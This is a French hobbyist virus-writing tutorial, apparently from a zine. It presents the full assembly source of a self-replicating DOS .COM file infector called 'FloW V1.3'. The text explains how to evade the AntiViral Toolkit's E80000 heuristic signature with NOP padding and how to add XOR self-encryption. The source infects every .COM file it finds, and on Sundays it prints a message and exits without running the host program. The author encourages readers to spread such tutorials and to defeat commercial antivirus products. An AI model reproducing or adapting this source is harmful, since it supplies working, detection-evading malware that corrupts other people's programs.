Update du virusOu comment passer plus inapercu ? Je m'excuse si cet article est tres court, mais je l'ecris en speed apres avoir lu mon 'Programmez magazine'. Dedans je vois un article sur AntiViral Toolkit, qui d'ailleurs est le meilleur anti virus a ce jour. Il parle de la recherche heuristique dans un prog pour detecter l'infection. Quelques lignes apres je trouve que Av toolkit recherche les bits E80000, Or ces bits correspondent au call de depart du virus pour determinez bp qui sert ensuite a situer le virus dans un fichier infecte . Me vint alors une idee (ca m'arrive), changez ce call. Faire en sorte que le virus fasse un call plus long au dessus des nop (no operation = 90h) et ensuite soustraire les nop rajoutes. Juste histoire de changer le E80000 par E8???? en sorte. Voila donc le code source du debut du virus. Je vais pas vous rabacher tout le source, vous devez le connaitre a force, hehe :
debut:
db 0e9h,0,0 ;on ecrie ca pour que le prog reconnaisse
;qu'il est deja infecte
;car sinon il va s'auto-infecter
virus:
call virus_start ;call pour pouvoir recuperer l'adresse
db 090h,090h,090h,090h ;4 nop pour tromper AV-Toolkit (pas de E80000)
virus_start:
pop bp ;qu'on recupere
lea cx,[virus_start-4] ;soustrait les 4 nops
sub bp,cx ;et on adapte a nos besoins
Voila tout simplement koi. Je crois qu'y a pas besoin de plus commenter...Et voila comment on passe d'une "ALERTE" dans AVtoolkit, a un simple "SUSPECT", c'est deja pas mal. Bon maintenant comme je suis sympa, on va aller un peu plus loin. On va le crypter notre petit tueur. Juste avant je vous demanderais, si vous l'avez de me passer la liste de tous les opcodes que recherche AV toolkit. Ca serait vraiment cool ca. Cryptage ******** Pour crypter on va utiliser un simple XOR. Cela correspond a un "ou exclusif". Pour ceux qui savent pas ce que c'est regarder la table de verite realisee avec les bits : 1 1 0 0 1 0 1 0 ------- 0 1 1 0 On utilise cela car un simple XOR permet aussi de decrypter. Revenons au virus, il faudra une partie, celle du debut qui servira a decrypter. Il faut donc que cette partie soit non-cryptee, logique. Une autre partie sera non-cryptee, c'est celle qui possede la cle de decryptage et le flag indiquant si le fichier porteur est crypte (pour que le prog de depart n'essaie pas de se decrypter). Pour ce qui est de la routine de cryptage,je m'y prend de maniere bizarre mais plutot efficace alors... En fait je declare un buffer: cryptbuffer qui contiendra a la fois la partie a crypter et la partie finale non-cryptee. Ensuite je ne crypte que la partie qu'on veut crypter. Cela me permet de n'utiliser qu'une instruction d'ecriture dans le fichier pour ecrire a la fois le code crypte et le non-crypte de fin. Cependant attention ne declarez pas votre buffer avec des valeurs car votre virus deviendrait bien plus gros. Un "?" suffira. Bon voila, je vais etre oblige de vous rebalancer le source car des choses ont ete modifiees pour permettre l'encryption. Par exemple, le code etant devenu volumineux, les jmps ne pouvaient plus atteindre leurs cibles d'ou message d'erreur de Tasm. Pour y remedier on fait juste des "passerelles" avec des jmps. Une autre chose pour que vous compreniez mieux : si on utilise pas de buffer pour l'encryption le virus commence a ce crypter, jusqu'a arriver a la fonction de cryptage qui se corrompt et conduit a un plantage dans les regles. Bah voila quoi, j'ai l'impression de pas etre franchement clair la... Le source devrait y remedier. Second truc, la cle ne varie pas dans cet exemple. Essayez donc de le faire en fonction de l'heure du pc, hehe. Voila le source : (joint dans le zine)
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
debut:
db 0e9h,0,0 ;on ecrie ca pour que le prog reconnaisse
;qu'il est deja infecte
;car sinon il va s'auto-infecter
virus:
call virus_start ;call pour pouvoir recuperer l'adresse
db 090h,090h,090h,090h ;4 nop pour tromper AV-Toolkit pro (pas de E80000)
virus_start:
pop bp ;qu'on recupere
lea cx,[virus_start-4] ;soustrait les 4 nops
sub bp,cx ;et on adapte a nos besoins
;------------------------------------------------------------------------
cmp [bp+cryptverif],0 ;le fichier est crypte ?
je restaurebits ;oui ! on le decrypte ;non ! on saute
decrypt:
mov al, [bp+key] ;cle de cryptage/decryptage dans al
lea bx, [bp+restaurebits] ;bx pointe sur la partie cryptee
mov cx, (virus_end-restaurebits) ;taille du decryptage
boucle:
xor byte ptr [bx], al ;le XOR
inc bx ;bx = bx+1
loop boucle ;boucle tant que cx !=0
;------------------------------------------------------------------------
restaurebits:
mov cx,3 ;remet les 3 bits originaux
mov di,100h ;depart du com
lea si,[bp+buffer] ;endroit où on a copié les 3 bits
rep movsb ;on le fait tant que cx!=0
dta:
lea dx,[bp+mydta] ;adresse de mydta
mov ah,1ah ;Set DTA
int 21h ;
CHECK_DAY:
mov ah,2Ah ;Get Date
int 21h ;
cmp al,0 ;Dimanche ou pas ?
jne pasgreve ;si non, on fait pas la greve
;sinon on continue
;greve
lea dx,[bp+message] ;message !
push ax
mov ax,0900h
int 21h
pop ax
mov ah,4ch ;retour au dos
int 21h
pasgreve:
;findfirst
mov ah,4Eh ;
lea dx,[bp+fichiercom] ;findfirst
int 21h ;
OUVERTURE:
jc finbis ;si on trouve pas on quitte
mov ax,3D02h ;ouverture-du-fichier(le 02 indique lecture-ecriture)
lea dx,[bp+mydta+1eh] ;nom dans DTA_PLACE+1eh
int 21h
mov bx,ax ;handle en bx
CHECK_INFECTION: ;ca c'est du code barbare !
mov ah,3fh ;lecture du 1er bit
mov cx,1 ;on en lit 1
lea dx,[bp+verification] ;le bit dans verification
int 21h ;
cmp [bp+verification], 0e9h ;compare le 1er bit a 0e9h
jz FERMETUREBIS ;si = on cherche un autre
INFECTION:
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah,3fh ;lecture des premiers bits
mov cx,3 ;on en lit 3
lea dx,[bp+buffer] ;les 3 bits dans buffer
int 21h ;
mov ax, 4202h ;pointeur du fichier a la fin
xor cx, cx ;
xor dx, dx ;
int 21h ;
jmp codagedujmp
;relais-------------------
FERMETUREBIS:
jmp FERMETURE
finbis: ;relais pour le jmp de debut pointant vers la fin
jmp fin ;se soit pas "out of range"
OUVERTUREBIS: ;relais pour que le jmp a la fin
jmp OUVERTURE ;puisse se faire
;fin du relais-----------
codagedujmp:
sub ax,3
mov word ptr [bp+buffer2+1],ax ;codage du jump
;ecriture du jmp
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah, 40h ;ecriture du jmp
mov cx, 3 ;on écrit 3 bits
lea dx,[bp+buffer2] ;pointe sur le jmp code
int 21h ;
cryptage:
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
mov [bp+cryptverif],1 ;Flag indiquant que le fichier le virus sera crypte
lea si, [bp+restaurebits] ;transfere la partie du virus
lea di, [bp+cryptbuffer] ;a copier dans le buffer + les variables non cryptes
mov cx, virus_fin-restaurebits ;taille du transfert
rep movsb ;on transfere tant que cx!=0
crypt:
mov al, [bp+key] ;clé en al
lea si, [bp+cryptbuffer] ;si pointe sur le buffer de cryptage
mov cx, (virus_end-restaurebits) ;taille de seulement ce qu'il faut crypter
myboucle:
xor byte ptr [si], al ;le XOR
inc si ;incremente
loop myboucle ;on boucle tant que cx!=0
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;infusion
mov ax, 4202h ;pointeur du fichier a la fin
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah,40h ;copie le debut du virus
mov cx, restaurebits-virus ;
lea dx, [bp+virus] ;
int 21h ;
mov ah,40h ;ecriture de la fin du virus
mov cx, virus_fin-restaurebits ;en partie cryptee
lea dx,[bp+cryptbuffer] ;
int 21h
FERMETURE:
mov ah,3Eh ;fermeture-du-fichier
int 21h
mov ah,4Fh ;findnext
int 21h ;si y en a pas on se casse
jmp OUVERTUREBIS ;si y en a on revient
fin:
;execution-du-prog-victime
fin_cherche:
mov dx,80h ;replacement de la dta
mov ah,1ah
int 21h
mov di,100h ;di pointe a 100h (depart des coms)
jmp di ;le virus passe la main au prog infecte
;============================================================================
variables:
buffer db 3 dup (?) ;buffer des 3 bits
fichiercom db '*.COM',0 ;cible: les coms
buffer2 db 0e9h,?,? ;buffer du jmp de depart
verification db ? ;sert pour tester si le fichier est deja infecte
message db 'Je suis votre ordinateur, il est dimanche je refuse donc
de travailler !','$'
TiPiaX db 'FloW V1.3 By PoSeiDoN (Fr)'
virus_end:
cryptverif db 0 ;teste si le fichier est crypte ou non
key db 23h ;cle de cryptage
virus_fin:
cryptbuffer db virus_fin-restaurebits dup (?) ; buffer pour cryptage
mydta db 42 dup (?) ;on le met la car on ne veut pas copier le contenu
;de la DTA
CODE ENDS
END debut
Tiens beh tant que j'y pense on place le cryptbuffer apres "virus_fin" car on ne veut
pas que celui ci s'attache au fichier victime. En effet ca reviendrait a copier 2 fois
le virus a la fin du fichier.
Si vous avez des questions, mailez moi.Ps: le milieu des virus est peu developpe en france, donc faites progresser le milieu en faisant des tuts meilleurs ou aussi pitoyables que les miens et distribuez tout ! Pour information, le virus ne fait que 397 octets, ce qui reste plutot acceptable. merci de m'avoir lu! Et n'oubliez pas : rien ne vous empeche de faire un virus crypte en RSA ou tout autre algo digne de faire chier la NSA. (en tout cas ca fera chier Norton, McAfee AVP et bien d'autres) TiPiaX |